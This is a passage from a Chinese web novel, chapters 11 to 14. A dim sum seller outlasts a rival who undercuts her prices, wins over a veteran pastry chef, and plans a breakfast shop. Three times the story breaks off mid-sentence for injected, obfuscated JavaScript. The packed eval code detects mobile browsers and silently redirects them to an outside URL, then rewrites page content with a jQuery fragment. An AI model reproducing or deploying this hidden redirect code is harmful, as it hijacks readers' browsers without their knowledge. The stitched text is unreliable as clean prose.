隔壁书店老板突然叫卖起来,“新鲜现做手工糕点,比别家便宜一块咧,量大实惠,走过路过都来看看呀!”
原本在店里抱着猫的冯姐,连忙走出去往地上狠狠地啐了一口,什么玩意啊!
夏咏恩懒得理会这种人,专心蒸起了马拉糕,照常叫卖起来。
只是,隔壁很快就靠着叫卖声吸引了不少原本要走进文具店的学生。
姚晓彤和嘉嘉也是其中之二,两人本来是要去文具店的,可看见书店门前围了一圈又一圈,夏咏恩的摊位却有一些冷清,不免停下了步伐。
嘉嘉开口问,“我们要不要去书店那里买呀,我看那老板卖的,跟我们之前吃的那家是一样的。”
姚晓彤有些犹豫,毕竟她一向都只去夏咏恩那里买,可书店那的价格摆明了更便宜些。
要是这回省下一块钱,下一回就能吃更好吃的东西了。
她思索了一会,还是忍不住迈开了步子,朝书店那边走过去。
11. 低价竞争
晚上六点,夏咏恩收了摊。
她还是低估了这一块钱的影响力,本以为隔壁的书店不会对自己的生意造成太大的影响,可算过账才知道,今天的收入足足少了三分之二。
原本她以为,只要自己做得好吃,别人自然就会来买。毕竟有系统在身,不就能那些爽文里写的一样,震惊路人简直是家常便饭的事。
可今天的情况却给了她狠狠的一击,自己不应该太过自信。
就算有了系统,会做好吃的点心,不代表就能把生意做好。
说到底,自己还是将经营这个事想得太简单了。摆摊如此,开茶楼亦如此。
要是她在美食广场摆摊,一块钱并不算什么,可对于没什么钱的学生们来说,这就是十分关键的选择因素了。
除了那些家境比较好的学生,其他的人都被隔壁书店吸引过去了,长此以往,自己的小摊怕是要做不下去了。
虽然她也知道,隔壁的味道当然比不过自己,可想来大部分的学生,并不会为这多出来的美味支付一块钱。
毕竟他们也不是什么美食家,主要只是想解解馋以及填饱肚子而已。
回到荣兴楼,她坐在椅子上思索了许久。
降价是不能降的,现在自己没有任何本钱,如果要跟对面打价格战,最后自己可能一分钱都赚不到。
再说了,就算自己真赢了又怎么样,之后自己要是把价格涨回来,学生们肯定不干。
但是,她也不能坐以待毙。隔壁老板摆明了就是故意挑衅,搞不死隔壁书店,她睡觉都睡不安稳。
思来想去,她想出了三条法子。
第一,水晶饼可以推出了。
有系统在身,不愁没有新品,只要自己推出更多的新品,隔壁再怎么抄也只能跟在自己屁股后面。
第二,推出小份的产品。
钵仔糕虽然好吃顶饱,可饭量小的学生吃完一整个就没有心思吃别的了。既然如此,干脆就再买一批小一点的钵仔,推出小份的钵仔糕,统统只卖两块。
马拉糕和白糖糕也推出小份,就按照椰汁千层糕那样包装,价格为一块。
但同时,原有的规格产品依旧保留,这样学生们就有更多的选择了。
第三么,就是在保证品质的情况下,稳步就班地照常出摊。
夏咏恩不信了,这一套组合拳下来,还不能把书店老板治得服服帖帖的。
次日,夏咏恩来到文具店,隔壁的书店老板也在准备出摊。
两个人目光一碰,书店老板笑吟吟地给夏咏恩打了声招呼,可谁都能看出,这人眼中的不怀好意与幸灾乐祸。
经过昨日,冯姐对书店老板的恨意又添上了一层,今天也没心思逗猫了,帮着夏咏恩张罗小摊。
等下课铃打响,学生们如同往日一样走了出来。
冯姐和夏咏恩已然蓄势待发,可谁能想到,耳旁忽然传来几声巨大的叫卖声:“新鲜出炉的马拉糕、白糖糕,统统一块,统统一块!”
“走过路过不要错过,手工现做钵仔糕,不含色素添加剂,比其他家都要美味健康!”
原来,隔壁书店店门前挂了个大喇叭,叫卖声一直不断在店外循环,凡是走过路过的人,都忍不住停下来看一眼。
冯姐气得跺脚,“这让我们还怎么做生意!”
夏咏恩安慰了几句,便稳了稳心神。凡是都有两面,大喇叭能将之前从来没买过点心的学生吸引过来,未尝不是一件好事。
至于这些新客要去哪一家吃,那就各凭本事了。
密密麻麻的学生群中,自然有刚走出校门的姚晓彤和嘉嘉。
二人来到巷子口,嘉嘉问,“我们今天吃什么呀?还是吃昨天那个吗?”
姚晓彤想都没想就拒绝了,“我不要,那一家不好吃。”
昨天,她在书店那里买了一份白糖糕,光看外表跟夏咏恩卖的差不多,当时她还以为自己捡了大便宜,毕竟书店卖的只要五毛钱。
可一进口,她就知道贵的东西自然有贵的道理。书店老板卖的白糖糕吃起来比较软,没有那种韧韧的口感,而且里头放了很多糖,吃了半块她就有点腻了。
所以今天她早就想好了,还是去夏咏恩那里买得了。
嘉嘉接了一句,“我觉得还行啊,好像也挺好吃的……”
因为上次考试考砸了,嘉嘉的零花钱都被爸妈没收了,现在全靠存钱罐里的钱来买零嘴吃。
姚晓彤自然也知道这个情况,心里有些不好意思,赶紧顺着她的话,“我就是觉得太甜了,不是很符合我的口味。”
她不想嘉嘉为难,“要不你去书店买,我去文具店那看看?要是没有想吃的,就回去找你。”
两个人就这么分开了,姚晓彤来到文具店前,已经有五六个学生在排队了。
夏咏恩看见她来了,连忙笑着打招呼,“今天有新的糕点,你要尝尝么?”
姚晓彤眼睛一亮,连忙点头,接过水晶饼就吃了起来。
她就轻轻咬了一小口,里头满满的豆沙馅都快要漏出来了,半透明的水晶饼皮里头包着细腻的豆沙馅,好香甜,好顺滑!
而且水晶饼皮又糯又韧,软硬适中,既不会太过弹牙,也不至于软塌塌的。
太好吃了吧!果然,这个老板做的东西就没有不好吃的。
她还想再买几个别的糕点,于是又看了看,才发现摊位上卖的东西都比往日便宜了。
再仔细一瞧,才知道是有了大份和小份的区别。
往日她也觉得大份的有点多,因此每一次都是跟嘉嘉一起分着吃的,现在花更少的钱,就能吃到更多的糕点了,真的太好了!
五块的零花钱,她买了一个水晶饼,一个马拉糕,一个钵仔糕,一份椰汁千层糕。
买完了东西,她赶紧去书店找嘉嘉,将新推出的小份优惠价告诉了嘉嘉。
原本嘉嘉的前面就剩下两三个学生了,可听姚晓彤这么一说,她立马就去了隔壁文具店。
她又不是傻子,同样的价格,干嘛不去光顾更好吃的那家!
而在嘉嘉前后排队的学生,听见姚晓彤说的话,也一起动身离开了。
很快,书店门前只剩下三四个学生了。
书店老板原本得瑟的眼神,渐渐地多了几丝愤恨与不解。
不少被喇叭声吸引来的学生,虽然来到了书店门前,可看到夏咏恩的摊子前围了更多的人,便都转头走去了文具店。
书店老板的眼中闪过一丝狠戾,下定决心,自己一定要跟隔壁干到底!
于是,他又把所有东西的价格下降了五毛钱。
随着他的叫卖声,陆陆续续地又有一些学生来到了他的摊位前。
书店老板暗暗得意,黄毛丫头想跟我抢生意,没门!
然而他面前的几个学生低声议论道,“唉好饿啊,下次一定要早点去隔壁排队买水晶饼吃。”
“我记得昨天隔壁都没什么人啊,怎么今天那么多人啊!”
“算了算了,今天将就着买点东西垫垫肚子吧,这家还便宜一点。”
……
听到这些话,书店老板的内心彻底崩溃了。
合着这些人都是因为不想去隔壁排队,所以才来自己这里的!
文具店的门前就冷清了一日,今天又是挤满了学生。而且随着放学的学生越来越多,队伍还有不断延长的趋势。
而反观隔壁,来书店买卡牌、捏捏、文具的学生倒是不少,可就是没几个人会买书店前摆着的糕点。
书店老
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492855|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
板盯着夏咏恩看了看,脑子一动,随便找了个在店里买练习册的学生,塞了十块钱过去,“你帮我去隔壁排队,把所有糕点都买下来,就买小份的就好了。”
至于剩下的四块钱,就当做跑腿费了。
等了好一会,那个学生拿着东西走了回来,却伸手朝他要钱,“再给我十块,一手交钱一手交货。”
“什么?我刚不是给了十块钱给你?”
“你又不是不知道隔壁的队伍排了多长,时间也是金钱啊,再说了,我排了那么久,自己也要吃的。”
见对方坚持,书店老板只好付了二十块钱。二十块而已,等自己做出来一模一样的,就能成倍地赚回来了。
等到六点多,学生们都回了家后,他拎着一大袋糕点来到附近的菜市场。
这两日他卖的糕点,都是在菜市场一家糕饼铺子批发的。这家店平时做的都是街坊生意,主打一个价格实惠且味道不错,每天的生意很好,逢年过节那更是人山人海。
他将夏咏恩做的糕点拿出来,“老板,你看看能不能做到一样的?”
糕饼铺子老板赶紧叫了后厨的几个阿姨出来一起看看,几人品尝过后,七嘴八舌地讨论起来,“哇,我都好多年没吃过这么纯正的马拉糕了。”
“真的喔,这个味道很像小时候吃到的味道,钵仔糕也很好吃啊。”
“我觉得白糖糕更好吃,是不是外面高档茶楼卖的啊?这么好的功夫,少见啊。”
“就是啊,一般糕饼铺哪里能做成这样?”
经过一番讨论后,其中那个领头的阿姨说,“我们做不出一样的。”
书店老板怒目圆睁,“做不了?怎么可能啊!这些糕点不都是一样的吗?”
阿姨解释,“原材料虽然都是那些,可食材的配比会影响最后的成品,更别说你拿来的这个,很明显是高手做的,说不准里面加了什么独家秘方。”
“再说了,我们也要做生意的,没办法给你一样样试出来。”
当然,如果书店老板肯砸钱的话,也不是不行。
只是很显然,他并没有这样的打算。
糕饼铺子老板觉得这人好生奇怪,“你拿茶楼卖的东西让我们这个小铺子复刻,还不肯给钱,不就是成心为难我们吗?”
书店老板冷哼一声,“做不出来就做不出来,还说是茶楼卖的,我看你们就是没本事而已。”
领头的阿姨脸色一沉,“我们都是做了饼糕几十年的老人,你算什么东西?”
“几十年?”书店老板呵呵一笑,“我可告诉你们吧,这就是我在街边一个小摊买的,不是从茶楼卖来的。”
如果不是托辞,那只能说明这些人都是一群无知的蠢货,不然怎么会把路边摊买的认成是茶楼的出品。
书店老板骂骂咧咧地离开了,等他走后,糕饼铺子的阿姨们低声讨论了起来。
“刚刚应该问一下他到底是在哪里买的,我们也好去偷师一下啊。”
“你还真信他说的啊?那些糕点肯定就是大茶楼出品的。”
“不过,我倒觉得那些糕点的味道很像荣兴楼的。”
此言一出,其他几个阿姨也应和了起来,“对啊对啊,我也觉得有点像。”
“不是吧,我两年前去吃过啊,完全不是这个味道。”
“那是因为换老板了,十几年前我去吃的时候确实是这个味道!”
众人说着说着,便看向方才领头的那个阿姨,“珍姐,你之前不是就在荣兴楼干过吗?”
“你说说,刚刚那人拿过来的东西是不是跟荣兴楼的很像?”
赖美珍笑着摇了摇头。她心里清楚,荣兴楼早就倒闭了,即便是方萍也做不出这样的味道来。
或许……只是巧合吧。
12. 珍姨出场
周末两天,夏咏恩依旧在美食广场摆摊。
结束摆摊后回到荣兴楼,她开始认真计算这一周的账目。对着一大堆数字算了半天,她的脑子已经有些发胀。
“系统,你能帮我自动核算吗?”
【该功能将在茶楼评级升级后开启!请宿主继续努力!】
好吧,还是得自己按计算器。
说起提升茶楼评级,她不免想起来那个特殊任务。
周四的时候,她为了对付隔壁书店老板,翻找了方萍阿姨留下来的经营日志。
这一翻,她就无意间找到了之前的员工名册。
她忽然想起来,自己是不是应该要联系一下荣兴楼的老员工?
夏咏恩越想越觉得这个想法不错,老员工知根知底,而且对茶楼的工作也比较容易上手,是自己招聘的首选。
可她同样清楚,按照荣兴楼现在的情况,恐怕没有人想要回来。
不过,就算这些老员工不愿意回来,能从他们的口中打听一些关于荣兴楼以及方萍阿姨的事情也好。
夏咏恩在房间里翻找一通,将经营日志里夹着的花名册翻了出来。
这么多年过去,在荣兴楼工作过的员工不下百人,可认真筛查一遍后发现,有后厨经验而且工作时间在五年以上的,也只有十几人而已。
而这十几人之中,有不少人如今在明心楼任职。
对于明心楼,夏咏恩了解不多。只是在经营日志中以及之前那位买家的口中得知,孙跃龙另立门户后,带走了不少荣兴楼的老师傅。
而三个月前,孙跃龙又挖走了方萍阿姨高薪请来的几位师傅。
要不是孙跃龙,或许方萍阿姨的病还不至于那么重,也不会就这么撒手人寰了。
夏咏恩轻轻抚摸着有些泛黄的纸张,双眼渐渐地发酸。
不管怎么样,她一定会完成方萍阿姨的心愿,将荣兴楼重新开起来。
她擦了擦泪,又打开了花名册,找到了八名没有去明心楼的老员工,查看了一下他们的信息,拿起手机拨打电话。
然而其中的七个人要不就是已经移民,要不就已经去世,甚至有一些电话已经是空号了。
最后她只拨通了一个电话,那人名叫赖美珍,在荣兴楼干了二十五年。
电话接通后,对方得知她是方萍的养女,有些惊讶,“我记得你不是在外省读大学吗?现在怎么回来了?”
夏咏恩将方萍阿姨离世的消息告诉了对方,赖美珍惊呼,“什么?怎么会……”
两个小时后,赖美珍出现在了荣兴楼门外。
再一次踏进这个自己无比熟悉的地方,真叫人觉得物是人非。
赖美珍来到神龛前,给方萍上了三柱香。
见到荣兴楼里的情景,她十分伤怀。夏咏恩掏出一个小盒子递到她的面前,“方阿姨留下来的东西不多,这个锦盒是她的遗物之一。”
这几日她在翻找资料的时候,无意间发现抽屉中放着一个锦盒,盒子里有一朵绢花,散发着幽幽的香味,保存得十分完好。
盒子里有一张纸条,上面写着:零三年阿珍所赠。
看见锦盒里的绢花,珍姨眼中晃着的泪花流了下来,“这是、这是我当时送给她的礼物,没想到她还一直保留着。”
当年刚进入荣兴楼的赖美珍,与方萍很快就处成了无话不谈的好友,可后来方萍离开花城去外地打拼,两人就渐渐断了联系,不复往日那般熟稔。
八年前,方老爷子中了风入院,将茶楼的事都交到了孙跃龙的手上。
可谁都没有想到,孙跃龙接手的第一件事就是施行改革,将茶楼里很多老员工都开除了,还改动了许多之前方老爷子定下来的规矩。
“我就是在那个时候离开的,孙师傅平日里跟我们也是很亲近的,我都当他是半个弟弟,真是没想到,他竟然直接将我们开除。”
离开荣兴楼后,赖美珍便正式开启了退休的生活。她的丈夫早死,儿子如今在国外工作,她乐得清闲,每日就在家里收租看电视打发时间。
可一年前,她又接到了方萍的电话。
“阿萍接手茶楼后,想叫我回来,可那个时候我心里憋着气,就硬是没有答应。”
即便两人曾经那么友好,可毕竟已经过了这么多年,而且每当赖美珍一想到自己无故被开除,内心就隐隐作痛。
她不愿意回到荣兴楼这个伤心地,委婉拒绝了方萍的邀约。
赖美珍看向神龛上放着的遗照,不由得叹了口气,眼眶微湿,“要是知道她生了病,说什么我也会回来陪她……”
离开荣兴楼后,赖美珍也没有再打听荣兴楼的事,只是从别人那里听说荣兴楼生意不好,接近倒闭了。
当时她还颇为唏嘘,有些后悔自己当初没有回去荣兴楼。可谁能想到,再一次听见方萍的消息时,两人已是阴阳相隔。
夏咏恩连声安慰,才引出接下来的话题,“方萍阿姨最放不下的就是荣兴楼了,如今既然我接手了,就是抱着重开荣兴楼的决心去做的。只是我一个人始终是势单力薄,不知道珍姨肯不肯回来指点我一二?”
赖美珍看了一眼夏咏恩,却没有说话。
从方萍那里,她多多少少知道一些这个姑娘的过往,再看如今整个茶楼人去楼空,人家却愿意回来接手。不得不说,她对夏咏恩的印象还是很好的。
可是想要开一个茶楼,又谈何容易?
赖美珍虽然做了糕饼二十几年,可都是案板上的经验,对于开茶楼可是一窍不通。至于夏咏恩,一个大学生,恐怕连点心都没有做过几回,更别说经营茶楼了。
夏咏恩看出了她的犹豫,连忙说起最近自己在做点心的事,“我知道,在您的眼中,恐怕我所说的事情都是天方夜谭,但我还是很希望,可以得到您的指点。”
她将提前备好的点心,拿到赖美珍的面前,“珍姨,这些都是我按照方阿姨日志里的配方做出来的,您尝尝?”
赖美珍眼中闪过一丝惊喜,仔细端详面前的点心,随后选了一块水晶饼放入口中仔细品尝。
她咬了一口,嚼了几次后,眼中的惊喜更添多了几分,随后发出一声疑问,“嗯?这个味道……”
这一口,倒是让她回忆起,当年自己刚刚进入荣兴楼后,第一次吃到方老爷子制作的点心时,心中涌起的那一股惊讶与满足。
夏咏恩注视着赖美珍的神色,小心翼翼问道,“珍姨,你觉得我的糕点,还有什么值得改进的地方?”
赖美珍放下筷子,叹了一口气,“不得不说,你做得很好吃。”
只是,她还是拒绝了夏咏恩的邀约。
“你年轻这么轻,又何必困在这里呢,还是去找个好工作吧。荣兴楼这个烂摊子,连阿萍都没办法,更别说是你我了。”
夏咏恩见她这样说,心中有了一点眉目。她看得出,珍姨还是对荣兴楼和方萍阿姨有感情的,只是不愿意见自己又像方萍阿姨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492856|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那样踏进这个火坑,所以才婉言拒绝。
她的语气愈发诚恳,“珍姨,我知道你是心疼我,可是我已经下定了决心,一定要重开荣兴楼。”
“这阵子我一直都在研究方萍阿姨留下来的经营日志,也在附近摆摊卖点心,我希望你可以给我一次机会。”
听她这样一说,赖美珍顿时就说不出什么拒绝的话,只好改口道,“我……我先回去想想吧。”
送走珍姨,夏咏恩回到荣兴楼。对于珍姨来说,自己不过是一个陌生人罢了,她对自己有疑虑十分正常。
既然如此,那就要用行动来证明给珍姨看,自己绝对不是一个只说不做的人。
古有刘备三顾茅庐,今有夏咏恩三求珍姨。
她相信,珍姨一定会被自己所打动的。
第二日,赖美珍像往常那样回到糕饼铺子上班。
过了一个上午,她做出来的面团比往日少了三分之一。有细心的阿姨就问她怎么了,赖美珍想了一会,才将昨日在荣兴楼的事说了出来。
大家七嘴八舌地说开,“荣兴楼要重开,那是好事啊。”
“对啊,那个靓妹既然有好手艺,你怎么不答应呢?”
赖美珍叹了口气,“经营茶楼又不是儿戏,我怕她最后失望大于希望啊。”
其实她心里头还有一句话没说出口。这个“怕”字,不仅是担心夏咏恩,更是怕自己辛辛苦苦落了个一场空。
毕竟,她也快五十了,陪年轻人去折腾开茶楼,万一没成,落在别人的眼里不就是个笑话了么?
再说了,自己不过是一个做点心的,对于开茶楼真的是一窍不通。
如今待在这个糕饼铺子里,每日稳稳当当的,做着味道过得去的糕饼,日子也挺好的。
有人便附和,“也是哦,现在的年轻人个个都贪图享乐,你可别把养老金赔进去了。”
店老板听见后,连忙打趣,“你们可千万别劝珍姨去啊,我好不容易请来一个这么厉害的点心部长,才不想她回茶楼呢。”
众人哄堂大笑,赖美珍的神情却一滞。想当年自己刚进荣兴楼,也是两眼一抹黑,光靠一双手,短短五年就从打杂的做到了点心部长,何其威风啊!
当时点心部足足有五六十人,比她资历老的大有人在,可方老爷子就说她够胆识够拼,于是才力排众议选了她。
因此,背地里议论她的人多了去了,但无论如何,出入茶楼时个个都要喊她一声“珍姐”,没人敢给她脸色瞧。
赖美珍收起思绪,定了定心神,当即便就打电话联系了夏咏恩,想去荣兴楼一趟。
夏咏恩正在学校附近准备出摊,便让珍姨等七点过后再去荣兴楼。
赖美珍心里有了计较,“没事,你忙你的,我过来学校找你。”
夏咏恩自然不知道珍姨心中所思,挂了电话便开始布置摊位。
不知道书店老板是不是受了刺激,除了椰汁千层糕之外,其他糕点都降到了一元。
不过夏咏恩并没有十分在意,毕竟如今自己已经有了一大批忠实的学生粉丝,对方只不过是跳梁小丑罢了。
再说,书店老板能把价格降到这么低,就说明他卖的糕点一定不怎么样。
果然,就算是大降价,书店摊位前依旧是冷冷清清。
而有几个光顾了书店的学生,刚吃了一口钵仔糕就骂了出来,“我靠,这是捏捏还是钵仔糕啊,吃起来满口胶,我该不会被毒死吧!”
13. 菠萝咕噜肉
书店老板大怒,“你可别胡说,我这都是手工现做的,小心我告你诽谤啊!”
那几个被坑了的学生嚷嚷道,“我呸!就这还手工现做,我自己做的都比这个好吃。”
书店老板支支吾吾开始辩解,在夏咏恩摊位前的学生纷纷扭头过去看好戏,七嘴八舌地讨论起来,“上周我去吃味道还行啊,看来以后还是只买这个姐姐的算了。”
“上次我去买,看见那老板指甲缝里都是黑乎乎的,看了就倒胃口。”
“就是,那个老板一看就不爱干净,白送给我都不要。”
……
众人鄙夷的视线投了过来,书店老板勃然大怒,朝着学生们吼了一句,“看什么看!”
闹了这么一通后,他摊位前为数不多的几个学生也离开了。
半小时过去了,书店老板的小摊就成交了一单。
不仅如此,原本那些来书店买文具、捏捏、卡牌的学生们,也纷纷转到文具店去了。
书店老板这下真的崩溃了。
之前他一直都是去菜市场那家糕饼铺子进货,可上周五闹了不愉快后,便换了价格更便宜的店。
谁能想到,现在不仅小吃卖不出去,连原本的生意也丢了。
在学校不远处,一辆公交车靠近了站台,赖美珍缓缓从车上下来。
她顺着人流走,很快便来到了巷子口,看到了正在忙碌的夏咏恩。
赖美珍仔细打量四周,无意间发现,隔壁书店门前摆摊的男人似乎有几分眼熟。
再一想想,这不就是上周拿着一袋糕点来刁难的那人么?
难不成……他买的糕点就是小夏做的?
赖美珍回想起昨日夏咏恩给自己吃过的那些糕点,越想越觉得,两者的味道真的很相似。
而夏咏恩浑然不知赖美珍在远处瞧瞧地观察着自己,她正忙着和冯姐一起打包糕点。
如今她已经和姚晓彤以及嘉嘉都混了脸熟,看见二人又来了,笑着问,“你们又来啦,还是要两份白糖糕两份马拉糕吗?”
姚晓彤摇了摇头,递了二十块钱来,一口气要了许多。
夏咏恩惊讶,“怎么今天买这么多呀?”
这一问才知道,原来是上周赵一平跟补课的学生们打了赌,要是每个人都能做对五道物理题,便请他们吃夏咏恩的糕点。
经过两个星期的补习,现在姚晓彤看到物理也不像以前那样害怕了,昨天更是在补课的时候一口气做对了八道题,心里头得意得很。
夏咏恩也为姚晓彤感到高兴,连忙把手上的糕点递过去,“你们拿稳了哟,可别掉地上了。”
闻着香喷喷的糕点,姚晓彤一下子就充满了学习的动力。
买完了东西,她又站到一旁和夏咏恩聊了起来,好友嘉嘉顺口便提起,“要是早上能吃到姐姐的点心就好了,这样我上学都有力气了。”
姚晓彤连连点头,“是啊是啊,姐姐卖的糕点比外面茶楼的都好吃呢。”
夏咏恩一听,心中微微一动,脑海中忽然萌生出一个想法。
不过当下,她没空去细想,便暂时按下,继续张罗着小摊的生意。
等学生们都散去后,赖美珍走到了她的面前。
夏咏恩顾不得收拾摊位,连忙迎了上去,“珍姨,您怎么来这里了?”
赖美珍连忙道,“你忙你的就好,我就是想来看看。”
虽然白天她在糕饼铺子里下了决心,可一路过来,心里头又开始七上八下,想了许多有的没的。
但方才她站在不远处,看见夏咏恩忙活的模样,脑海中那些嘈杂的声音,统统都消失得一干二净了。
她开口道,“昨日你跟我商量的事,我回去想了一下——”
话还没说完,就被夏咏恩打断了,“珍姨,我昨晚写了一份关于荣兴楼的分析报告,想要拿给您过目。”
二人回到荣兴楼,夏咏恩将报告书拿了出来。原本是想着几日后再拿给珍姨看的,因此昨晚只写了前面的部分,其他的内容还没有完善。
“我根据方阿姨的经营日志分析出一些之前荣兴楼生意不佳的原因,后面的部分是我根据现在的情况制定的重开荣兴楼计划以及大致的安排。”
赖美珍只是看了看,便放下了那十几页的分析报告,“我都快五十岁啦,这些东西给我,我也看不懂。”
夏咏恩的心提了起来,“您要是觉得字数太多,我简单地给您讲一遍也可以。”
“这些东西以后再说吧,不着急。”
“以后?”夏咏恩一愣,脸上露出几分茫然,又有一丝难以置信,“您的意思是……”
赖美珍拍了拍她的手背,“你说的事情,我答应你了。只不过呢,我之前在一间糕饼铺子里帮忙,贸然就这样走了也不行,我跟老板说好,再干多半个月就能回来帮你了。”
夏咏恩一把抱住珍姨,“太好了,谢谢您肯相信我。”
“好了好了,不用跟我这么客气了。”
看着夏咏恩高兴的模样,赖美珍的心里不自觉地涌起了一股欣喜之情,还有一丝说不清道不明的复杂情绪。
在这个世上,除了自己之外,恐怕也就只有面前的这个小姑娘,还惦念着荣兴楼与方萍了。
而赖美珍答应回来荣兴楼之后,夏咏恩终于松了一口气。
“珍姨您坐,我拟一份合同出来,您带过去看看,不着急签字的。”
赖美珍刚坐下,就瞄见了桌上的那一袋馒头。
她忽然想到,上回自己来的时候,这桌上也放着一袋馒头。
“阿恩啊,你该不会天天就吃这些吧?”
夏咏恩没想到她问起这事来,一下子便愣住了,嘴也张不开。
赖美珍板起脸来,“你天天就吃这些,怎么能行?”
“那倒也不是,我还有配橄榄菜的,偶尔也会蒸点腊味吃吃……”
赖美珍被她气笑了,干脆道,“走吧,今晚来我家吃饭。”
珍姨家的房子不大,不过平日就只有她一个人,所以住得很是自在,只不过一个人待久了,难免觉得寂寞,想找个人说话都没有。
如今添了一双筷子,才觉得屋子里有了人气。
夏咏恩站在珍姨身边帮忙剥蒜头,而灶炉上的锅里传来滋啦滋啦的声音。
裹了浆的肥瘦里脊肉放进锅里经过两次油炸,变成金黄色的肉块。
剥好的蒜头切成蒜蓉,与青辣椒、红辣椒、菠萝一起放入锅中爆香,随后就到最关键的糖醋汁出场了。
糖醋汁稍微沸腾过后,将刚炸好的肉块放进锅中,在高温与油的作
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492857|202321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用下,肉块外层被糖醋汁牢牢裹住。
几番翻炒之后,肉块外有一层近乎透明的琥珀色脆壳,菠萝块也挂上了一层糖醋汁,鲜黄透亮的菠萝与青红辣椒一起,衬得整盘咕噜肉十分鲜亮。
跟菠萝咕噜肉一起上桌的还有一盘蚝油生菜,以及一锅胡萝卜玉米排骨汤。
用蒜爆炒得翠绿的生菜上挂着一层蚝油芡汁,看起来十分诱人。
锅里的汤是极浅的黄色,有一层薄薄的油脂浮在表面。稍微一捞就能捞到金黄色的小块玉米、滚刀块的胡萝卜,以及那一块块肥瘦相间的排骨。
赖美珍把菠萝咕噜肉推到她的面前,“先吃这个,不然待会凉了就不好吃了。”
夏咏恩用筷子夹起一块咕噜肉递到嘴边,轻轻一咬,最外面那一层酥脆的薄壳就破开了,滚烫的肉汁冒着热气跑了出来,烫得她直吸气。
虽然很烫,可伴随着里脊肉一同出现在舌尖的是一股水果的酸味,再嚼多几口便能吃到其中属于菠萝的清甜味,肥瘦相间的里脊肉吸满了糖醋汁的汁水,咬起来一点都不柴。
她迅速吃完了一整块咕噜肉,再夹上一块脆爽多汁的菠萝,又用勺子舀了一勺糖醋汁,赶紧低头扒了一大口米饭。
唔唔唔!好好吃,太下饭了!
吃了好几块外脆内嫩的咕噜肉,她又把筷子伸向了一旁的蚝油生菜。
一口咬下去,生菜梗又脆又爽,咸鲜的蚝油与蒜香味十足的生菜裹在一起入口极为顺滑,就着米饭都能吃下半碗。
等吃饱了饭,最后来上一碗胡萝卜玉米排骨汤。
排骨一咬就脱骨了,玉米清甜爽口,胡萝卜被炖到软软的却不烂,再喝一口汤,整个人都熨帖了。
夏咏恩吃着吃着,就有点想哭。
泪还没出来,珍姨打趣的话便先传到了耳中,“怎么,我做的饭那么难吃?把你都难吃哭了?”
夏咏恩费力眨了眨眼睛,笑了笑,“才不是呢!”
她走到厨房帮忙洗碗,悄悄吸了吸鼻子,看着哗啦啦的水龙头忍不住出神。
洗完了碗,她忽然想起来今天姚晓彤说的话,之前被暂时按下去的想法,又再次浮现了出来。
虽然现在每天的生意都很好,可每天就卖那一个小时,能赚的钱也有限度。如今有了珍姨帮忙,很多事情也可以放开手脚去做了。
比如说,开一个早餐铺子。
花城人爱喝早茶那是出了名的,因此,许多早餐铺卖的东西其实就是茶楼的点心,叉烧包虾饺干蒸烧卖应有尽有,只不过种类没有茶楼那么多,味道和品相自然也不及茶楼。
按照现在已经解锁的点心配方,已经足够自己开一个早餐铺子了。
不过,卖早餐的想法固然好,可若是只在学校那里摆摊,受众始终还是只有学校的学生。
再说了,学生们早上都赶时间,怕是没有多少人会有心思来买早餐。
看来,还是得另选一个风水宝地啊。
夏咏恩关掉了水龙头,忽然听见“叮”的一声,许久不见的系统终于冒了出来:
【恭喜宿主完成特殊任务!解锁“香煎玉米饼”配方】
【茶楼评级升级任务已经开启!请在三十日内开一家早餐铺!】
夏咏恩在心里给自己打气,早餐铺,我来了!
14. 筹备早餐铺
既然是要开早餐铺,那选址就格外重要了,毕竟早餐铺主打的就是平价和接地气。若选在偏僻的地方,生意肯定是起不来的。
于是,夏咏恩又打开了手机地图开始研究。
荣兴楼处在花城三大老城区之一的荔芳区,离茶楼最近的有三个老小区以及两间小学。
要短时间内找到一个好的地方,也并不是那么容易。
她把自己的想法跟赖美珍简单说了一遍,赖美珍也觉得,开早餐铺是个不错的选择。
早餐铺面向的人群更多,且工作日的营业时间不会像现在这样,受到学校放学时间的限制,只不过,房租是一个大问题。
赖美珍提起如今自己在帮工的那间糕饼铺子,那铺子在菜市场靠里的位置,里头就三十平方米,月租却要八千块,加上水电煤气一个月也要上万了。
夏咏恩很是惊讶,连忙算了一笔账,要是按照每个月一万的铺租,自己每天至少都得卖出去三百多块钱才行。
虽然现在每天能卖出去五六百块钱,可要开早餐铺,就等于是换了地方从头来过,生意未必有现在这么好。
而且既然要开早餐铺,那准备的点心就得比现在要更多,相应的食材成本也更高了。
